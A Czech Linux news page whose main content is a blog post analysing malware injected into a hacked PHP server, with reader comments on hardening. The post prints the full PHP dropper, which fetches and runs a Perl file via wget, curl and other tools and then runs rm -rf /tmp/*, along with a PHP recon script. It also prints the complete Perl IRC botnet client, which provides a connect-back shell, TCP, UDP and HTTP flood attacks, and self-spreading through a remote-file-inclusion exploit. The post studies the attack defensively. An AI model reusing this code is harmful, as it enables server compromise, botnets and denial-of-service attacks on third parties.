Desktopové prostředí Budgie bylo vydáno ve verzi 10.10. Dokončena byla migrace z X11 na Wayland. Budgie 10 vstupuje do režimu údržby. Vývoj se přesouvá k Budgie 11. Dlouho se řešilo, v čem bude nové Budgie napsáno. Budgie 10 je postaveno nad GTK 3. Přemýšlelo se také nad přepsáním z GTK do EFL. Budgie 11 bude nakonec postaveno nad Qt 6.
OpenChaos.dev je 'samovolně se vyvíjející open source projekt' s nedefinovaným cílem. Každý týden mohou lidé hlasovat o návrzích (pull requestech), přičemž vítězný návrh se integruje do kódu projektu (repozitář na GitHubu). Hlasováním je možné změnit téměř vše, včetně tohoto pravidla. Hlasování končí vždy v neděli v 9:00 UTC.
Byl vydán Debian 13.3, tj. třetí opravná verze Debianu 13 s kódovým názvem Trixie a Debian 12.13, tj. třináctá opravná verze Debianu 12 s kódovým názvem Bookworm. Řešeny jsou především bezpečnostní problémy, ale také několik vážných chyb. Instalační média Debianu 13 a Debianu 12 lze samozřejmě nadále k instalaci používat. Po instalaci stačí systém aktualizovat.
Na stránkách Evropské komise, na portálu Podělte se o svůj názor, se lze do 3. února podělit o názor k iniciativě Evropské otevřené digitální ekosystémy řešící přístup EU k otevřenému softwaru.
Společnost Kagi stojící za stejnojmenným placeným vyhledávačem vydala (𝕏) alfa verzi linuxové verze (flatpak) svého proprietárního webového prohlížeče Orion.
Firma Bose se po tlaku uživatelů rozhodla, že otevře API svých chytrých reproduktorů SoundTouch, což umožní pokračovat v jejich používání i po plánovaném ukončení podpory v letošním roce. Pro ovládání také bude stále možné využívat oficiální aplikaci, ale už pouze lokálně bez cloudových služeb. Dokumentace API dostupná zde (soubor PDF).
Jiří Eischmann se v příspěvku na svém blogu rozepsal o open source AdGuard Home jako domácí ochraně nejen před reklamou. Adguard Home není plnohodnotným DNS resolverem, funguje jako DNS forwarder s možností filtrování. To znamená, že když přijme DNS dotaz, sám na něj neodpoví, ale přepošle ho na vybraný DNS server a odpovědi zpracovává a filtruje dle nastavených pravidel a následně posílá zpět klientům. Dá se tedy používat k blokování reklamy a škodlivých stránek a k rodičovské kontrole na úrovni DNS.
AI Claude Code od Anthropicu lépe rozumí frameworku Nette, tj. open source frameworku pro tvorbu webových aplikací v PHP. David Grudl napsal plugin Nette pro Claude Code.
Byla vydána prosincová aktualizace aneb nová verze 1.108 editoru zdrojových kódů Visual Studio Code (Wikipedie). Přehled novinek i s náhledy a videi v poznámkách k vydání. Ve verzi 1.108 vyjde také VSCodium, tj. komunitní sestavení Visual Studia Code bez telemetrie a licenčních podmínek Microsoftu.
Na lasvegaském veletrhu elektroniky CES byl předveden prototyp notebooku chlazeného pomocí plazmových aktuátorů (DBD). Ačkoliv se nejedná o první nápad svého druhu, nepochybně to je první ukázka praktického použití tohoto způsobu chlazení v běžné elektronice. Co činí plazmové chladící akční členy technologickou výzvou je především vysoká produkce jedovatého ozonu, tu se prý podařilo firmě YPlasma zredukovat dielektrickou
… více »Zkoumám takhle php soubor s injectnutým kódem začínajícím asi takhle
< ?php eval ( b a s e 6 4 _ d e c o d e ( ' a W Y o Z n V u Y 3 R p b 2 5 f Z X h p c 3..........')); ? >a při té příležitosti jsem našel kopec jiných souborů, které toho o sobě prozradily ještě o něco více. V dalším php souboru se nacházelo include("http://domena.tld/id.txt"). Tento soubor se snaží pomocí volání funkcí system, passthru, exec a shell_exec použít wget, curl, lwp-download, lynx, fetch a GET a poté vlézt do /tmp a uložit tam další soubor v perlu. Soubor se spustí a jeho obsah můžete vidět zde:
< ?php
system("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
system('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
system('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
system('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
system('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
system('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
passthru("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
passthru('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
passthru('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
shell_exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
shell_exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
shell_exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
system('rm -rf /tmp/*');
system('rm -rf /tmp/*.txt');
system('rm -rf /tmp/*.txt*');
system('rm -rf /tmp/*.txt.*');
? >
< ?php
echo "31337
";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = $_SERVER['SERVER_ADDR'];
$alb9 = get_current_user();
$os = @PHP_OS;
echo "UNITED #D-Devils By The King Sir|ToTTi
";
echo "os: $os
";
echo "uname -a: $alb
";
echo "uptime: $alb2
";
echo "id: $alb3
";
echo "pwd: $alb4
";
echo "user: $alb9
";
echo "SoftWare: $alb5
";
echo "PHPV: $alb6
";
echo "ServerName: $alb7
";
echo "ServerAddr: $alb8
";
$free = disk_free_space($alb4);
if ($free === FALSE) {$free = 0;}
if ($free < 0) {$free = 0;}
echo "Free: ".view_size($free)."
";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
exit;
? >
IP adresu ovládacího irc serveru jsem smazal. Obsah souboru sela.txt zde:
#!/usr/bin/perl
use IO::Socket;
srand;
my $bPs = 'httpds /usr/lib/httpd -f /etc/httpd.conf';
my $aMaster = 'nix', 'Fugaru';
my $aHost = '*@fbi.ro';
my $sServer = 'ip-adresa-zde';
my $sPort = '6667';
my $sTimeOut = '300';
my $bChan = '#nixsl3';
my $bNickLen = '7';
chomp (my $bNick = `whoami`);
chomp (my $bIrcName = `whoami`);
chomp (my $bRealName = `uname -a`);
my $bDelay = '2';
open(LOCK, '>/tmp/sess_F3wtx3es3wedxwa213s1x1ws1e32sx2') or die;
unless(flock(LOCK, 4 | 2)) { die; }
if(fork) { exit; }
$0 = $bPs;
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
package irc;
use IO::Select;
our $irc_socket;
our $irc_select = new IO::Select;
my $cur_nick;
sub raw { print $irc_socket "$_[0]\n"; }
sub mnick {
my $nick = $_[1];
my @abc = ('a' .. 'z');
for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; }
return $nick;
}
sub init {
my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
PeerPort => $_[4],
Proto => 'tcp',
Timeout => '5') or return 0;
if(defined($socket)) {
$irc_socket = $socket;
$irc_select->add($irc_socket);
$irc_socket->autoflush(1);
raw("USER ".$_[1]." 0 0 ".$_[2]);
$cur_nick = $_[0];
raw("NICK $cur_nick");
return 1;
}
return 0;
}
sub loop {
my $time_out = time;
for(;;) {
my @handles = $irc_select->can_read(1);
if((time - $time_out) > $sTimeOut) { $irc_select->remove($irc_socket); $irc_socket->close(); last; }
next unless(@handles);
foreach my $handle (@handles) {
my $datain;$handle->recv($datain, 1023, 0);
my @lines = split(/\r\n/, $datain);
foreach my $line (@lines) {
if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $bChan"); next; }
elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($bNickLen, $bNick); raw("NICK ".$cur_nick); next; }
run::bcmd("$line");
}
}
}
}
package run;
use Socket;
sub bcmd {
my @line = split(/ /, $_[0]);
my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
#unless($Nick eq $aMaster) { return; }
#unless($Mask eq $aHost) { return; }
my $Type = shift(@line);
unless($Type eq "PRIVMSG") { return; }
my $To = shift(@line);
$" = ' '; $line[0] =~ s/://;my $Text = "@line";
if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) {
if($2 =~ /^nick\s*(.*)/) {
if($1) { $cur_nick = $1; }
else { $cur_nick = irc::mnick($bNickLen, $bNick); }
irc::raw("NICK $cur_nick");
return;
}
if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; }
return;
}
if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) {
if(!fork) {
if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }
if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
if ($2 =~ /^google\s+(\d+)\s+(.+)/) { spread::start($To, $1, $2); exit; }
if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; }
if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; }
if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; }
if ($2 =~ /^join (.*)/) {
j("$1");
}
if ($2 =~ /^part (.*)/) {
p("$1");
}
exit;
}
return;
}
if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; }
}
sub bsh {
my $to = $_[0];
my $cmd = $_[1];
if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; }
my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $bDelay; } }
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
irc::raw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
irc::raw("PART $_[0]");
}
sub rsh {
irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
print "elxbot's connectback backdoor\n";
system('/bin/sh');
close(STDIN);
close(STDOUT);
close(STDERR);
}
package spread;
sub start {
irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scanning for ".$_[1]."''.");
our $s_time = time;
my $m_time = $_[1] * 60; #''
srand;
my $bPath = '/tmp/sess_s4ex4t2c7w1d6ecsw3d1x1wwo521451';
my $rfi = '';
my $bLoc = 't';
my $cmds = "wget $BLoc -O $bPath; perl $bPath; rm -f $bPath";
$cmds =~ s/ /%20/g;
while($m_time > (time - $s_time)) {
my $dup = "";my @urls = google();
foreach my $url (@urls) {
(my $host, my $tmp_path) = $url =~ /([\w\.\-\w]*)(\/\w*\/?)/;
my $path = '/'; if($tmp_path =~ /(^\/\w+\/\w+\/$|^\/\w+\/$|^\/$)/) { $path = "$1"; }
if($dup eq $host) { next; } $dup = "$host";
$url = 'http://' . $path . '/components/com_smf/smf.php?mosConfig_absolute_path=' . $rfi . '?';
my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) or next;
print $sock "GET $url HTTP/1.1\nHost: $host\nAccept: */*\nConnection: close\n\n";
$sock->close();
}
}
irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scan finished.");
}
sub google() {
my $rnd=(int(rand(300)));
my $n= 80;
if ($rnd<300) { $rnd=(int(rand(300))); }
my $msn= (int(rand(10)) * $n);
my @domains = ('ac', 'ad', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
'aq', 'ar', 'ar', 'as', 'at', 'au', 'aw', 'aw', 'az', 'ba', 'bb',
'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo',
'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cd',
'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop',
'cr', 'cs', 'cu', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'dz',
'ec', 'edu', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fi',
'fk', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi',
'gl', 'gn', 'gob', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu',
'gub', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie',
'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it',
'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp',
'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls',
'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'mg', 'mh', 'mk',
'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'museum',
'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net',
'nf', 'ng', 'ni', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr',
'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'rj', 'ro', 'ru', 'rw',
'sa', 'sb', 'sc', 'sd', 'se', 'se', 'sg', 'sh', 'sj', 'sk', 'sl',
'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td',
'tf', 'tg', 'th', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw',
'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 'vc',
've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xxx', 'ye', 'yt', 'yu',
'za', 'zm', 'zw');
my @str = ();
foreach my $dom (@domains) { push (@str,"%22Powered+by+SMF%22+%2Bcom_smf+site%3A".$dom."%20"); }
my $query = 'http://www.altavista.com/web/results?q=';
$query .= $str[(rand(scalar(@str)))];
$query .= "&stq=$msn";
my @lst=();
#irc::raw("privmsg #debug :DEBUG only test googling: ".$query."");
my $page = http_query($query);
while ($page =~ m/< a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/) { push (@lst,$1); }
}
return (@lst);
}
sub http_query {
my $url = $_[0];
my $host=$url;
my $query=$url;
my $page='';
$host =~ s/href=\"?http:\/\///;
$host =~ s/([\w\.\-\w]*)\/.*/$1/;
$query =~ s/$host//;
if ($query eq '') {$query='/';};
eval {
local $SIG{ALRM} = sub { die "1";};
alarm 5;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.6\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
};
return $page;
}
package flood;
use POSIX;
use Socket;
our $s_time;
sub tcp {
irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
$s_time = time;
my @SOCKET;
while ($_[3] > (time - $s_time)) {
for(my $i=0;$i<200;$i++) {
socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
}
for(my $i=0;$i<200;$i++) {
connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
}
for(my $i=0;$i<200;$i++) {
close($SOCKET[$i]);
}
}
irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished.");
}
sub udp {
irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
$s_time = time;
my $socket;
my $packets = 0;
socket($socket, PF_INET, SOCK_DGRAM, 17);
while($_[3] > (time - $s_time)) {
send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
$packets++;
}
close($socket);
irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets.");
}
sub http {
irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'.");
$s_time = time;
my $querys = 0;
while ($_[2] > (time - $s_time)) {
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
$querys++;
}
irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys.");
}
while(1) {
if(irc::init(irc::mnick($bNickLen, $bNick), $bIrcName, $bRealName, $sServer, $sPort))
{
irc::loop();
}
sleep 10;
}
#
#
#
#
#GET IS A SHITTY FUCKING PROGRAM!
Hostname nešťastníka hostujícího soubor jsem smazal stejně tak jako ip adresy a jména všech serverů v přílohách. Na začátku souboru sela.txt můžete vidět nastavení připojení k irc serveru, tak proč se tam nemrknout? Dál v podstatě není co popisovat. Na server se lze dostat bez problémů, uvítá vás seznam právě připojených zombíků a můžete je ovládat klasickými shellovými příkazy. Moc do hloubky jsem nešel, protože na cizí věci se nesahá a kontaktoval jsem všechny zainteresované strany, tedy kromě pana sušenky. Oběti jsou většinou webhosteři a v seznamu je dokonce jeden nameserver.
Tiskni
Sdílej:
Nejsmutnejsi je, jak se ten jeden server ve screenshotu hrde hlasi 2.6.30.4-grsec. Novy jadro, jeste s grsec a je to uplne na hovno.
A co se tyka cinnosti, asi bych tam zkusil nejak do cronu nebo do nejakyho top level index.php prihodit kod, kterej odesle na pozadi email na ruzny emailovy adresy patrici tomu spravci (root@domain, abuse@domain, info@domain) s textem neco jako "vas server se jmenem XYZ na IP ABC byl hacknut, prosim, zkontrolujte zabezpeceni". A dale bych pak pro jistotu smaznul tu diru, pres kterou se to aktivuje (pokud to neni prolejzani tisicovek php kodu a hledani).
Jak jsem psal pred chvili, grsecurity neochrani od chyby aplikace, akorat ji omezi (chrani pred buffer overflow, vylamovani se z chrootu atd.). Je pravda, ze meli zapnout trusted path execution (zabrani spousteni skriptu v /tmp), jenze kdyz je to hosting (tipuju) a uzivatel si udela permanentne writable adresar se skripty, tak nic nezabrani zapisu a spusteni utocnikova skriptu.
Celkem me prekvapil vzorek stroju - *BSD a Linux s grsecurity. Nejspis jde o prunik pres user-level aplikaci (coz by odpovidalo 'whoami'). Jinak z vypisu 'ps -ef' na grsecurity masine je videt, ze to mozna maj relativne slusne nastaveny - nevidi cizi procesy (zajimalo by mne jestli to crackeri pri prodeji/pronajmu botnetu zminuji
). Pridat jeste trusted path execution a skriptum v /tmp odzvoni.
True. Az ted jsem si vsiml, ze skript je volan "cd /tmp; perl blabla" misto "/tmp/blabla", kde TPE IIRC plati. Holt branit se vlastnim uzivatelum, zamestancum a jinym insiderum je nejtezsi 